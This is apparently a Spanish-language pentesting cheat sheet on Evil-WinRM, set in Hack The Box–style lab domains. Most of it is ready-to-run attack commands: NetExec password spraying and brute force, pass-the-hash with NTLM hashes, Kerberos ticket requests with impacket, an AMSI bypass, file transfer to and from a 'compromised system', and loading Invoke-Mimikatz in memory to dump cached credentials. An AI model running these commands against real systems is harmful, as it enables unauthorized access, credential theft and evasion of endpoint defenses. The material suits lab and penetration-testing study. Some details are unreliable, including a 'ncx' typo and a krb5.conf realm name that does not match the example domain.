Evil-WinRM
Introduction
WinRM es la implementación de Microsoft del protocolo WS-Management, muy habitual en entornos Windows, especialmente en sus versiones Server. Fue diseñado para facilitar la administración remota del sistema. Aunque en las estaciones de trabajo (Windows 7, 8, 8.1 o 10) no viene activado por defecto, en Windows Server suele estar habilitado en el puerto 5985.
Si cuentas con acceso al sistema —ya sea con usuario y contraseña, con el hash NTLM o incluso con un ticket TGT de Kerberos— puedes conectarte a este servicio y obtener una shell en el sistema. Esto es especialmente útil en la etapa de post-explotación, una vez que ya tienes cierto control sobre el entorno.
Aquí es donde entra Evil-WinRM, una de las herramientas más interesantes para explotar y gestionar conexiones a través de WinRM, permitiéndote realizar pruebas de post-explotación de manera eficaz y práctica.
Para instalar evil-winrm ejecutaremos el siguiente comando:
sudo gem install evil-winrmValidating Access
Para verificar que disponemos de acceso para conectarnos a través de WinRM al equipo, podemos hacer uso de la herramienta nxc (NetExec) para validar dicho acceso. En el resultado nos debe aparecer con un + y con la palabra Pwn3d!. En caso contrario, solamente nos saldrá como -.
Ejemplo de acceso para conectarnos al equipo mediante WinRM.
❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM 10.10.10.10 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM 10.10.10.10 5985 DC [+] dominio.htb\user123:Password01! (Pwn3d!)Ejemplo de que no disponemos de acceso para conectarnos al equipo mediante WinRM.
❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM 10.10.10.10 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM 10.10.10.10 5985 DC [-] dominio.htb\user123:Password01!Autenticación usuario y contraseña
nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'Autenticación realizando Pass-The-Hash (PtH) con el hash NTLM
nxc winrm 10.10.10.10 -u 'user123' -H 'E45A314C664D40A227F9540121D1A29D'Password Spraying / Brute Force
ncx winrm 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-successnxc winrm 10.10.10.10 -u 'user1' -p passwords.txt --continue-on-successnxc winrm 10.10.10.10 -u users.txt -p passwords.txt --continue-on-successAuthentication on WinRM
A continuación, se detallan como conectarnos mediante evil-winrm a un equipo que disponga WinRM expuesto.
Usuario y contraseña
evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!'Usuario y contraseña + SSL
evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!' -SUsuario y hash NTLM [Pass-The-Hash (PtH)]
evil-winrm -i 10.10.10.10 -u 'user' -H 'E45A314C664D40A227F9540121D1A29D'Autenticación con key (.pem)
evil-winrm -i 10.10.10.10 -c certificate.pem -k priv-key.pem -SKerberos
La autenticación mediante Kerberos requiere de una serie de pasos previos para que funcione correctamente.
Sincronizar la hora de la máquina local con la del Domain Controller.
Disponer de un TGT (Ticket Granting Ticket)
Exportar el TGT en la variable KRB5CCNAME
Disponer de la instalación de
krb5-userykrb5-configen el equipo localConfigurar adecuadamente el archivo
/etc/krb5.confcon la configuración necesaria del dominioConfigurar correctamente el archivo
/etc/hostspara la resolución de nombres.
El comando para conectarnos mediante el TGT obtenido es el siguiente:
evil-winrm -i dc.dominio.htb -r dominio.htbPara configurar paso a paso esta autenticación al WinRM mediante Kerberos, realizaremos los siguientes pasos:
Deberemos de sincronizar la hora de nuestro equipo con la del DC (Domain Controller).
Instalaremos el paquete de ntpdate para ayudarnos a sincronizar la hora de nuestro reloj.
sudo apt install ntpdate -yUna vez instalado, sincronizaremos nuestra hora con la del DC.
sudo ntpdate -s 10.10.10.10Deberemos de disponer de un TGT (Ticket Granting Ticket) del usuario con el que queramos conectarnos. Disponemos de varias maneras de haber obtenido ya un TGT, pero en este caso explicaremos solamente a solicitarlo para el usuario que disponemos sus credenciales.
A través de la herramienta de impacket-getTGT obtendremos un TGT válido para nuestro usuario.
impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10Una vez solicitado el TGT, nos deberá proporcionar un archivo .ccache.
Una vez obtenido el TGT (.ccache), deberemos de exportar este tiquet en la variable KRB5CCNAME para poder utilizarlo correctamente.
export KRB5CCNAME=$(pwd)/user.ccacheInstalaremos el paquete de krb5-user a través del siguiente comando:
sudo apt install krb5-userUna vez instalado, validaremos que el tiquet TGT obtenido y declarado en KRB5CCNAME funcione correctamente. Nos deberá aparecer nuestro TGT.
klistInstalaremos el paquete necesario para el /etc/krb5.conf a través del siguiente comando:
sudo apt install krb5-config -yUna vez instalado el paquete, deberemos de configurar el archivo /etc/krb5.conf para que se adapte al dominio correspondiente.
sudo nano /etc/krb5.confA continuación, dejaremos un archivo /etc/krb5.conf de ejemplo.
[libdefaults]
default_realm = DOMINIO.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
HAZE.HTB = {
kdc = dc.dominio.htb
admin_server = dc.dominio.htb
default_domain = dominio.htb
}
[domain_realm]
.dominio.htb = DOMINIO.HTB
dominio.htb = DOMINIO.HTBDeberemos de disponer en nuestro archivo /etc/hosts las entradas correspondientes para que nos resuelva correctamente el hostname, FQDN y nombre del dominio.
Ejemplo:
Dirección IP: 10.10.14.13
Hostname: dc01
Dominio: gzzcoo.htb
FQDN: dc01.gzzcoo.htb
Nuestro archivo /etc/hosts deberá tener la siguiente entrada correspondiente.
echo '10.10.14.13 dc01 dc01.gzzcoo.htb gzzcoo.htb' | sudo tee -a /etc/hostsHelp Menu

Menu Functions
Bypass AMSI
La herramienta de evil-winrm dispone de un módulo para realizar un Bypass de la AMSI para lograr ejecutar nuestro código malicioso.
Bypass-4MSI
Service Enumeration
A veces, las herramientas de enumeración en post-explotación no logran identificar el nombre del servicio activo en el sistema objetivo. En esos casos, evil-winrm resulta muy útil, ya que permite ver una lista completa de los servicios en ejecución desde su menú, específicamente a través de la opción de services. Esto es especialmente valioso para detectar servicios sin comillas, que otras herramientas podrían pasar por alto.
services
Upload Transfer
Evil-WinRM cuenta con un módulo que te permite subir archivos desde el directorio actual de tu sesión directamente al sistema comprometido.
Esto facilita la transferencia de herramientas, scripts u otros recursos necesarios para continuar con tus actividades de post-explotación de manera sencilla y directa.
upload <archivo>
Download Transfer
Evil-WinRM también te permite extraer archivos del sistema comprometido hacia tu máquina local. Simplemente, estando en el directorio deseado, utiliza el comando:
Esto resulta muy práctico para recolectar información o respaldar archivos importantes durante la fase de post-explotación.
download </ruta/archivo>
Loading PowerShell Script
Evil-winrm ofrece una funcionalidad que permite cargar scripts directamente desde nuestra máquina local. Usando la opción -s seguida de la ruta del script, podemos inyectarlo en memoria en el sistema objetivo. Además, cuenta con una capacidad para omitir AMSI, lo que resulta fundamental antes de importar cualquier script.
En el ejemplo que se muestra, primero se desactiva AMSI y luego se carga el script Invoke-Mimikatz.ps1 en la memoria del sistema comprometido, lo que nos permite ejecutar comandos de mimikatz. Con este método, por ejemplo, podemos volcar las credenciales en caché y, posteriormente, utilizar el hash NTLM obtenido para realizar un ataque de Pass-The-Hash (PtH).

evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -s /opt/nishang/Gather/
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz
Store logs with Evil-winrm
Esta función te permite guardar registros de tus sesiones remotas en tu máquina local durante la fase de enumeración. En escenarios como CTF o pruebas internas de penetración, es esencial contar con un historial para la elaboración de informes. Evil-winrm incorpora la opción -l, que al incluirla en la sesión, almacena automáticamente todos los logs en el directorio /root/evil-winrm-logs de tu máquina base, etiquetados con la fecha y la IP del objetivo. Por ejemplo, si ejecutas el comando ipconfig durante una sesión, la salida se registrará localmente, facilitándote la referencia posterior.
evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -l
Podemos corroborarlo revisando los registros almacenados; notarás que se capturó una imagen de la terminal en el instante en el que ejecutamos el comando ipconfig.

References
Última actualización
¿Te fue útil?
